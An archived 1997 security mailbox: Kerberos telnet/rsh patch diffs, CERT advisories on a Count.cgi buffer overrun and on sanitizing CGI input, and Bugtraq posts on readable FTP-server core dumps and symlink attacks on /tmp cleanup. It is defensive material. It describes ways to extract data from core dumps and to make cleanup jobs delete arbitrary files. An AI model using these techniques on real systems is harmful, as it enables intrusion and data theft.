+ int i;
+ char **newargv;
+
if (errno == ECONNREFUSED)
warning("remote host doesn't support Kerberos");
if (errno == ENOENT)
warning("can't provide Kerberos auth data");
- use_kerberos = 0;
- sv_port=get_shell_port(use_kerberos, doencrypt);
- goto try_connect;
+ newargv = malloc((argc + 2) * sizeof(*newargv));
+ if (newargv == NULL)
+ err(1, "malloc");
+ newargv[0] = argv[0];
+ newargv[1] = "-K";
+ for(i = 1; i < argc; ++i)
+ newargv[i + 1] = argv[i];
+ newargv[argc + 1] = NULL;
+ execv(_PATH_RSH, newargv);
}
} else {
if (doencrypt)
Index: appl/bsd/pathnames.h
RCS file: /afs/pdc.kth.se/src/packages/kth-krb/src/krb4/appl/bsd/pathnames.h,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -w -r1.23 -r1.24
--- pathnames.h 1996/11/17 06:36:42 1.23
+++ pathnames.h 1997/11/03 11:17:19 1.24
@@ -65,6 +65,9 @@
#undef _PATH_RSH /* Redifine rsh */
#define _PATH_RSH BINDIR "/rsh"
+#undef _PATH_RCP /* Redifine rcp */
+#define _PATH_RCP BINDIR "/rcp"
+
#undef _PATH_LOGIN
#define _PATH_LOGIN BINDIR "/login"
@@ -186,6 +189,8 @@
#define _PATH_RLOGIN "/usr/athena/bin/rlogin"
#undef _PATH_RSH
#define _PATH_RSH "/usr/athena/bin/rsh"
+#undef _PATH_RCP
+#define _PATH_RCP "/usr/athena/bin/rcp"
#undef _PATH_LOGIN
#define _PATH_LOGIN "/usr/athena/bin/login"
#endif
Index: appl/telnet/libtelnet/kerberos.c
RCS file: /afs/pdc.kth.se/src/packages/kth-krb/src/appl/telnet/libtelnet/kerberos.c,v
retrieving revision 1.34
retrieving revision 1.36
diff -u -w -r1.34 -r1.36
--- kerberos.c 1997/10/21 21:15:24 1.34
+++ kerberos.c 1997/11/03 06:12:14 1.36
@@ -265,9 +267,11 @@
void
kerberos4_is(Authenticator *ap, unsigned char *data, int cnt)
{
+ struct sockaddr_in addr;
char realm[REALM_SZ];
char instance[INST_SZ];
int r;
+ int addr_len;
if (cnt-- < 1)
return;
@@ -288,8 +292,17 @@
printf("\r\n");
}
k_getsockinst(0, instance, sizeof(instance));
- if (r = krb_rd_req(&auth, KRB_SERVICE_NAME,
- instance, 0, &adat, "")) {
+ addr_len = sizeof(addr);
+ if(getpeername(0, (struct sockaddr *)&addr, &addr_len) < 0) {
+ if(auth_debug_mode)
+ printf("getpeername failed\r\n");
+ Data(ap, KRB_REJECT, "getpeername failed", -1);
+ auth_finished(ap, AUTH_REJECT);
+ return;
+ }
+ r = krb_rd_req(&auth, KRB_SERVICE_NAME,
+ instance, addr.sin_addr.s_addr, &adat, "");
+ if (r) {
if (auth_debug_mode)
printf("Kerberos failed him as %s\r\n", name);
Data(ap, KRB_REJECT, (void *)krb_get_err_text(r), -1);
Index: appl/telnet/telnetd/telnetd.c
RCS file: /afs/pdc.kth.se/src/packages/kth-krb/src/appl/telnet/telnetd/telnetd.c,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -w -r1.47 -r1.48
--- telnetd.c 1997/10/29 01:26:58 1.47
+++ telnetd.c 1997/11/03 06:08:26 1.48
@@ -647,21 +647,7 @@
int
terminaltypeok(char *s)
{
- char buf[1024];
-
- if (terminaltype == NULL)
- return(1);
-
- /*
- * tgetent() will return 1 if the type is known, and
- * 0 if it is not known. If it returns -1, it couldn't
- * open the database. But if we can't open the database,
- * it won't help to say we failed, because we won't be
- * able to verify anything else. So, we treat -1 like 1.
- */
- if (tgetent(buf, s) == 0)
- return(0);
- return(1);
+ return 1;
}
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 9849 invoked from network); 12 Nov 1997 10:01:52 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 10:01:52 -0000
Received: by scylla.sovam.com id AA02112
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 12 Nov 1997 10:55:35 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA01014
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 12 Nov 1997 10:49:23 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id MAA19513
for <[email protected]>; Wed, 12 Nov 1997 12:47:52 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id SAA28225;
Wed, 12 Nov 1997 18:00:14 +1100 (EST)
Resent-Date: Wed, 12 Nov 1997 18:00:14 +1100 (EST)
Message-Id: <[email protected]>
Date: Wed, 5 Nov 1997 13:46:09 -0600
Reply-To: [email protected]
Sender: [email protected]
Comments: Resent-From: Aleph One <[email protected]>
Comments: Originally-From: CERT Advisory <[email protected]>
From: Aleph One <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Aleph One <[email protected]>
Resent-Message-Id: <"ADbnUD.A.IRC.ILPa0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: CERT Advisory CA-97.24 - Count_cgi
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Advisory CA-97.24
Original issue date: Nov. 05, 1997
Last revised: ---
Topic: Buffer Overrun Vulnerability in Count.cgi cgi-bin Program
- -----------------------------------------------------------------------------
The text of this advisory was originally released on October 31, 1997, as
AA-97.27, developed by the Australian Computer Emergency Response Team. To
more widely broadcast this information, we are reprinting the AUSCERT
advisory here with their permission. Only the contact information at the
end has changed: AUSCERT contact information has been replaced with CERT/CC
contact information.
We will update this advisory as we receive additional information.
Look for it in an "Updates" section at the end of the advisory.
The Australian Computer Emergency Response Team (AUSCERT) has received
information that a buffer overrun vulnerability exists in the Count.cgi
cgi-bin program.
A new version of Count.cgi has been released addressing this vulnerability.
AUSCERT recommends that sites that have the Count.cgi cgi-bin program
installed take the steps outlined in Section 3 as soon as possible.
- - ---------------------------------------------------------------------------
1. Description
AUSCERT has received information that a vulnerability exists in the
Count.cgi cgi-bin program. The Count.cgi cgi-bin program is used to
record and display the number of times a WWW page has been accessed.
Due to insufficient bounds checking on arguments which are supplied
by users, it is possible to overwrite the internal stack space of the
Count.cgi program while it is executing. By supplying a carefully
designed argument to the Count.cgi program, intruders may be able to
force Count.cgi to execute arbitrary commands with the privileges of
the httpd process.
The Count.cgi program is extremely widely used. Sites are encouraged
to check for its existence and its possible exploitation.
To check whether exploitation of this vulnerability has been attempted
at your site, search for accesses to the Count.cgi program in your
access logs. An example of how to do this is:
# grep -i 'Count.cgi' {WWW_HOME}/logs/access_log
Where, {WWW_HOME} is the base directory for your web server.
If this command returns anything, further investigation is necessary.
Specifically, look for accesses to Count.cgi that contain long strings
of nonsensical characters.
If sites find any evidence showing that they have been probed using
this vulnerability, they are encouraged to report the incident to
AUSCERT or their local incident response team. Reports of all attacks
help AUSCERT gain a better overview of intruder activity within the
constituency.
2. Impact
Remote user may be able to execute arbitrary commands with the privileges
of the httpd process which answers HTTP requests. This may be used
to compromise the http server and under certain configurations gain
privileged access.
3. Workarounds/Solution
AUSCERT recommends that sites upgrade to the current version of
Count.cgi (Section 3.1). For sites that can not immediately install
the current version of Count.cgi, it is recommended that the workaround
described in Section 3.2 be applied.
3.1 Upgrade to the current Count.cgi version
The author of Count.cgi has recently released version 2.4 which
addresses the vulnerability described in this advisory. AUSCERT
recommends that sites upgrade to the latest version as soon as possible.
The current version is available from:
http://www.fccc.edu/users/muquit/Count.html
3.2 Remove execute permissions
To prevent the exploitation of the vulnerability described in this
advisory, AUSCERT recommends that the execute permissions be removed
from Count.cgi immediately. Note that this will have the side effect
of preventing the page hit counter from being incremented and displayed
on web pages using Count.cgi. The remainder of such web pages should
still display.
4. Additional measures
It is important to note that attacks similar to this may succeed
against any CGI program which has not been written with due consideration
for security. Sites using HTTP servers, and in particular CGI
applications, are encouraged to develop an understanding of the security
issues involved.
Sites should consider taking this opportunity to examine their httpd
configuration and web servers. In particular, all CGI programs that
are not required should be removed, and all those remaining should be
examined for possible security vulnerabilities.
It is also important to ensure that all child processes of httpd are
running as a non-privileged user. This is often a configurable option.
See the documentation for your httpd distribution for more details.
Numerous resources relating to WWW security are available. The following
pages may provide a useful starting point. They include links describing
general WWW security, secure httpd setup and secure CGI programming.
The World Wide Web Security FAQ:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html
NSCA's "Security Concerns on the Web" Page:
http://hoohoo.ncsa.uiuc.edu/security/
The following books contain useful information including sections on
secure programming techniques.
"Web Security Sourcebook", Aviel Rubin, Daniel Geer and Marcus Ranum,
John Wiley & Sons, Inc., 1997.
"Practical Unix & Internet Security", Simson Garfinkel and
Gene Spafford, 2nd edition, O'Reilly and Associates, 1996.
Please note that the URLs and books referenced in this advisory are
not under AUSCERT's control and therefore AUSCERT cannot be responsible
for their availability or content.
- - ---------------------------------------------------------------------------
AUSCERT thanks Muhammad Muquit for his assistance in the preparation of
this advisory.
- - ---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/)
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send
email to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
- ---------------------------------------------------------------------------
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://ftp.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
*CERT is registered in the U.S. Patent and Trademark Office.
- ---------------------------------------------------------------------------
This file: ftp://info.cert.org/pub/cert_advisories/CA-97.24.Count_cgihttp://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGCSv3VP+x0t4w7BAQF50wQAszcp6TXkVUpxH8Srz3/TFxNroPJVWork
rfW1kpFQyeBoMwUO1LevnmJnXeK6O5YEMZKniy9vxq15KOFDLPvRdhMpBFPZSTlC
5UfYbQs8URETtItLUvgmJTvETfILleI2VdnGkT7HwtG1JPYMZLq/4oLzflgRLDUk
4L9wHCeBL5Q=
=DBiR
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 18280 invoked from network); 12 Nov 1997 19:16:32 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 19:16:32 -0000
Received: by scylla.sovam.com id AA08659
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 12 Nov 1997 21:01:27 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA08542
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 12 Nov 1997 20:58:27 +0300
Received: from coal.cert.org (coal.cert.org [192.88.210.31])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id WAA23644
for <[email protected]>; Wed, 12 Nov 1997 22:55:42 +0500 (ES)
Received: (from cert-advisory@localhost) by coal.cert.org (8.6.12/CERT) id LAA15698 for cert-advisory-queue-47; Wed, 12 Nov 1997 11:56:08 -0500
Date: Wed, 12 Nov 1997 11:56:08 -0500
Message-Id: <[email protected]>
From: CERT Advisory <[email protected]>
To: [email protected]Subject: CERT Advisory CA-97.25 - REVISED- Code Correction
Reply-To: [email protected]
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Advisory CA-97.25.CGI_metachar
Original issue date: Nov. 10, 1997
Last revised: November 12, 1997
Updated the Appendix to fix coding error.
A complete revision history is at the end of this file.
Topic: Sanitizing User-Supplied Data in CGI Scripts
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports and seen mailing list
discussions of a problem with some CGI scripts, which allow an attacker to
execute arbitrary commands on a WWW server under the effective user-id of the
server process. The problem lies in how the scripts are written, NOT in the
scripting languages themselves.
The CERT/CC team urges you to check all CGI scripts that are available via the
World Wide Web services at your site and ensure that they sanitize
user-supplied data. We have written a tech tip on how to do this (see Section
III).
We will update the tech tip (rather than this advisory) if we receive
additional information.
- -----------------------------------------------------------------------------
I. Description
Some CGI scripts have a problem that allows an attacker to execute
arbitrary commands on a WWW server under the effective user-id of the
server process. The cause of the problem is not the CGI scripting
language (such as Perl and C). Rather, the problem lies in how an
individual writes his or her script. In many cases, the author of the
script has not sufficiently sanitized user-supplied input.
II. Impact
If user-supplied data is not sufficiently sanitized, local and remote
users may be able to execute arbitrary commands on the HTTP server with
the privileges of the httpd daemon. They may then be able to compromise
the HTTP server and under certain configurations gain privileged access.
III. Solution
We strongly encourage you to review all CGI scripts that are available
via WWW services at your site. You should ensure that these scripts
sufficiently sanitize user-supplied data.
We recommend carrying out this review on a regular basis and whenever new
scripts are made available.
For advice about what to look for and how to address the problem,
see our tech tip on meta-characters in CGI scripts, available from
ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
We have placed a revised version of this tech tip (dated
November 12, 1997) in the appendix of this advisory for your
convenience. Any future updates will be made to the tech tip,
so please check the electronic version for the most current
information.
If you believe that a script does not sufficiently sanitize
user-supplied data then we encourage you to disable the script and
consult the script author for a patch.
If the script author is unable to supply a patched version, sites with
sufficient expertise may wish to patch the script themselves, adapting
the material in our tech tip to meet whatever specification is required
(such as the appropriate RFC).
(NOTE: We cannot offer any further assistance on source code patching
than that given in the tech tip mentioned above.)
.............................................................................
Appendix - Tech Tip on CGI Metacharacters (version 1.2, Nov. 12, 1997)
The tech tip below may be updated in the future. For the most current version,
see ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
How To Remove Meta-characters From User-Supplied Data In CGI Scripts
1. Definition of the Problem
We have noticed several reports to us and to public mailing lists about CGI
scripts that allow an attacker to execute arbitrary commands on a WWW
server under the effective user-id of the server process.
In many of these cases, the author of the script has not sufficiently
sanitized user-supplied input.
2. Definition of "Sanitize"
Consider an example where a CGI script accepts user-supplied data. In
practice, this data may come from any number of sources of user-supplied
data; but for this example, we will say that the data is taken from an
environment variable $QUERY_STRING. The manner in which data was inserted
into the variable is not important - the important point here is that the
programmer needs to gain control over the contents of the data in
$QUERY_STRING before further processing can occur. The act of gaining this
control is called "sanitizing" the data.
3. A Common But Inadvisable Approach
A script writer who is aware of the need to sanitize data may decide to
remove a number of well-known meta-characters from the script and replace
them with underscores. A common but inadvisable way to do this is by
removing particular characters.
For instance, in Perl:
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Remove bad characters. WRONG!
print "$user_data\n";
exit(0);
In C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char bad_chars[] = "/ ;[]<>&\t";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
/* Get the data */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
/* Remove bad characters. WRONG! */
for (cp = user_data; *(cp += strcspn(cp, bad_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
In this method, the programmer determines which characters should NOT be
present in the user-supplied data and removes them. The problem with this
approach is that it requires the programmer to predict all possible inputs.
If the user uses input not predicted by the programmer, then there is the
possibility that the script may be used in a manner not intended by the
programmer.
4. A Recommended Approach
A better approach is to define a list of acceptable characters and replace any
character that is NOT acceptable with an underscore. The list of valid input
values is typically a predictable, well-defined set of manageable size. For
example, consider the tcp_wrappers package written by Wietse Venema. In the
percent_x.c module, Wietse has defined the following:
char *percent_x(...)
{
{...}
static char ok_chars[] = "1234567890!@%-_=+:,./\
abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ";
{...}
for (cp = expansion; *(cp += strspn(cp, ok_chars)); /* */ )
*cp = '_';
{...}
The benefit of this approach is that the programmer is certain that
whatever string is returned, it contains only characters now under his or her
control.
This approach contrasts with the approach we discussed earlier. In the earlier
approach, which we do not recommend, the programmer must ensure that he or she
traps all characters that are unacceptable, leaving no margin for error. In
the recommended approach, the programmer errs on the side of caution and only
needs to ensure that acceptable characters are identified; thus the programmer
can be less concerned about what characters an attacker may try in an attempt
to bypass security checks.
Building on this philosophy, the Perl program we presented above could be
thus sanitized to contain ONLY those characters allowed. For example:
#!/usr/cert/bin/perl
$_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$OK_CHARS='-a-zA-Z0-9_.@'; # A restrictive list, which
# should be modified to match
# an appropriate RFC, for example.
s/[^$OK_CHARS]/_/go;
$user_data = $_;
print "$user_data\n";
exit(0);
Likewise, the same updated example in C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_-.@";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
for (cp = user_data; *(cp += strspn(cp, ok_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
5. Recommendation
We strongly encourage you to review all CGI scripts available via your web
server to ensure that any user-supplied data is sanitized using the approach
described in Section 4, adapting the example to meet whatever specification
you are using (such as the appropriate RFC).
6. Additional Tips
The following comments appeared in CERT Advisory CA-97.12 "Vulnerability in
webdist.cgi" and AUSCERT Advisory AA-97.14, "SGI IRIX webdist.cgi
Vulnerability."
We strongly encourage all sites should consider taking this opportunity
to examine their entire httpd configuration. In particular, all CGI
programs that are not required should be removed, and all those
remaining should be examined for possible security vulnerabilities.
It is also important to ensure that all child processes of httpd are
running as a non-privileged user. This is often a configurable option.
See the documentation for your httpd distribution for more details.
Numerous resources relating to WWW security are available. The
following pages may provide a useful starting point. They include
links describing general WWW security, secure httpd setup, and secure
CGI programming.
The World Wide Web Security FAQ:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html
The following book contains useful information including sections on
secure programming techniques.
_Practical Unix & Internet Security_, Simson Garfinkel and
Gene Spafford, 2nd edition, O'Reilly and Associates, 1996.
Please note that the CERT/CC and AUSCERT do not endorse the URL that
appears above. If you have any problem with the sites, please contact
the site administrator.
Another resource that sites can consider is the CGI.pm module. Details
about this module are available from:
http://www.genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html
This module provides mechanisms for creating forms and other web-based
applications. Be aware, however, that it does not absolve the programmer from
the safe-coding responsibilities discussed above.
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://info.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
CERT is registered in the U.S. Patent and Trademark Office.
This file: ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
Last revised November 12, 1997
Version 1.2
- -----------------------------------------------------------------------------
The CERT Coordination Center thanks Wietse Venema for some of the material
used in the cgi_metacharacters tech tip.
We thank Mark Mills for his communication with us about the bug in the
appendix and acknowledge Andrew McNaughton and Greg Bacon, who pointed
out the bug on bugtraq.
- -----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/).
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send
email to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
- ---------------------------------------------------------------------------
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://ftp.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
*CERT is registered in the U.S. Patent and Trademark Office.
- ---------------------------------------------------------------------------
This file: ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharhttp://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
Nov. 12, 1997 Updated the Appendix to fix coding error.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGnWynVP+x0t4w7BAQFgHQQAnwHRMZJGA7SuFNE2Vt6QAR143ChExpAb
KA7xBJhVYzAH7AnLc39SbA3PeDaj2kf7bfhZQHJc8SNsHRIKC6jciVHvvKmHbN5C
45mDEqfSN3OOYvD3kVsVYrG8X9KM9QfNfZZFnxx19l5PGo8y0iVYTl5AxNOadLCP
oQMg76/n8W8=
=TbZo
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 24993 invoked from network); 13 Nov 1997 03:16:33 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 03:16:33 -0000
Received: by scylla.sovam.com id AA27271
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 03:55:26 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA27251
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 03:53:09 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA08493
for <[email protected]>; Thu, 13 Nov 1997 05:52:11 +0500 (ES)
Received: from [email protected] (port 12859 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <69955-14079>; Wed, 12 Nov 1997 16:38:51 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5589161 for [email protected]; Wed, 12 Nov 1997 16:36:04
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
QAA19204 for <[email protected]>; Wed, 12 Nov 1997 16:24:26 -0500
Received: from [email protected] (port 12859 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <69736-14079>; Wed, 12 Nov 1997
16:24:19 -0500
Approved-By: [email protected]
Received: from coupler.300baud.com (coupler.300baud.com [199.0.153.60]) by
netspace.org (8.8.7/8.8.2) with ESMTP id PAA14240 for
<[email protected]>; Wed, 12 Nov 1997 15:54:53 -0500
Received: from localhost (sp00n@localhost) by coupler.300baud.com (8.8.5/8.8.5)
with SMTP id QAA09038 for <[email protected]>; Wed, 12 Nov 1997
16:20:12 -0500 (EST)
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 16:20:11 -0500
Reply-To: sp00n <[email protected]>
Sender: Bugtraq List <[email protected]>
From: sp00n <[email protected]>
Subject: correction to: Bug In Security Dynamics' FTP server (Version 2.2)
To: [email protected]
In-Reply-To: <Pine.GSO.3.96.971112142033.3425A-100000@ug>
Status:
X-PMFLAGS: 34078848 0
Hi,
Earlier I said:
$ ls -la core
-rw-r----- 1 root network 264656 Nov 12 11:14 core
At least it dosent dump 666 like solaris's in.ftpd :) But I cant read it
:(
----------------earlier---------
I can read it
$id
uid=779(joeuser) gid=1500(network)
It dumps as root and the GID of the user SO I CAN do a
"strings core | more" w/o having to link it to ps_data or some root owned
file with a o+r perms
Matt
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 22934 invoked from network); 13 Nov 1997 01:01:32 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 01:01:32 -0000
Received: by scylla.sovam.com id AA16978
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 12 Nov 1997 23:14:23 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA16354
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 12 Nov 1997 23:08:33 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id BAA25163
for <[email protected]>; Thu, 13 Nov 1997 01:03:33 +0500 (ES)
Received: from [email protected] (port 56343 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <80657-14081>; Wed, 12 Nov 1997 14:06:08 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5587956 for [email protected]; Wed, 12 Nov 1997 14:05:05
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA29293 for <[email protected]>; Wed, 12 Nov 1997 14:04:21 -0500
Received: from [email protected] (port 56343 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80678-14080>; Wed, 12 Nov 1997
14:04:14 -0500
Approved-By: [email protected]
Received: from enel.ucalgary.ca (fsa.enel.ucalgary.ca [136.159.100.11]) by
netspace.org (8.8.7/8.8.2) with SMTP id MAA17502 for
<[email protected]>; Wed, 12 Nov 1997 12:49:09 -0500
Received: from mcp.enel by enel.ucalgary.ca (SMI-8.6/ENEL-5) id KAA08151; Wed,
12 Nov 1997 10:49:00 -0700
Received: by mcp.enel (SMI-8.6/SMI-SVR4) id KAA19561; Wed, 12 Nov 1997 10:48:59
-0700
X-Sun-Charset: US-ASCII
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 10:48:59 -0700
Reply-To: Steven Leikeim <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Steven Leikeim <[email protected]>
Subject: Re: Safe /tmp cleanup
To: [email protected]
Status:
X-PMFLAGS: 33554560 0
[email protected] writes
>
> There was a thread in Bugtraq a couple months ago about safe cleanup of
> /tmp and other publicly-writable directories. The problem is with the
> traditional cleanup along the lines of:
>
> find /tmp -someoptions -print | xargs rm -moreoptions
>
> An attacker can create conditions using deep directories and symbolic
> links that will cause this command to delete any arbitrary file on the
> filesystem. See the archives for more info.
>
> This started a long discussion, and only two good solutions were proposed
> to my recollection. One, someone had a Perl script named "saferm" which
> did an insane amount of sanity checking to verify the path was correct.
> Two, it was proposed that the find command itself should handle this.
> The Perl script is quite slow and overly complex, I wanted a better
> solution. I took a look at the GNU archive to see if they had a find
> command which might already have such an option. They had a find command
> which hasn't been updated for about three years, which had no such option.
> But the source is very easy to read and modify so it was a simple matter
> to add a "-delete" option myself. I also noticed and fixed a bug that
> caused incorrect results when using the "-depth" option in some cases
> (those of you with Linux boxes, which use the GNU find, can try: "find /var
> -depth -empty" and you'll see what I mean) This was important to do since
> you need the -depth option to work for -delete to really work (-delete
> implies -depth in my code)
There is another option.
In Red Hat Linux 4.2, there is a package called tmpwatch. Here is the
first part of the man page:
NAME
tmpwatch - removes files which haven't been accessed for a period
of time
SYNOPSIS
tmpwatch [-fav] [--verbose] [--force] [--all] [--test] <hours>
<dirs>
DESCRIPTION
tmpwatch recursively removes files which haven't been accessed
for a given number of hours. Normally, it's used to clean up
directories which are used for temporary holding space such as
/tmp.
When changing directories, tmpwatch is very sensitive to possible
race conditions and will exit with an error if one is detected.
It does not follow symbolic links in the directories it's clean-
ing (even if a symbolic link is given as its argument), will not
switch filesystems, and only removes empty directories and regular
files.
The source for this program is 294 lines of C (including comments). Enough care
seems to have been taken to avoid race hazards and my limited examination of
code satisfied me that there are no security problems with it. Specfically,
the program does everything itself, it does not rely on an external program for
any function which should eliminate problems associated with special characters
and/or buffer overflows due to deep paths.
The version that I have (tmpwatch-1.2-1.src.rpm) can be found at:
ftp://wuarchive.wustl.edu/systems/linux/redhat/redhat-4.2/SPRMS/tmpwatch-1.2.1-1.rpm
Steven Leikeim
Department of Electrical and Computer Engineering
University of Calgary
Calgary, Alberta
Phone: (403) 220-5373
Fax: (403) 282-6855
Return-Path: <[email protected]>
Delivered-To: [email protected]
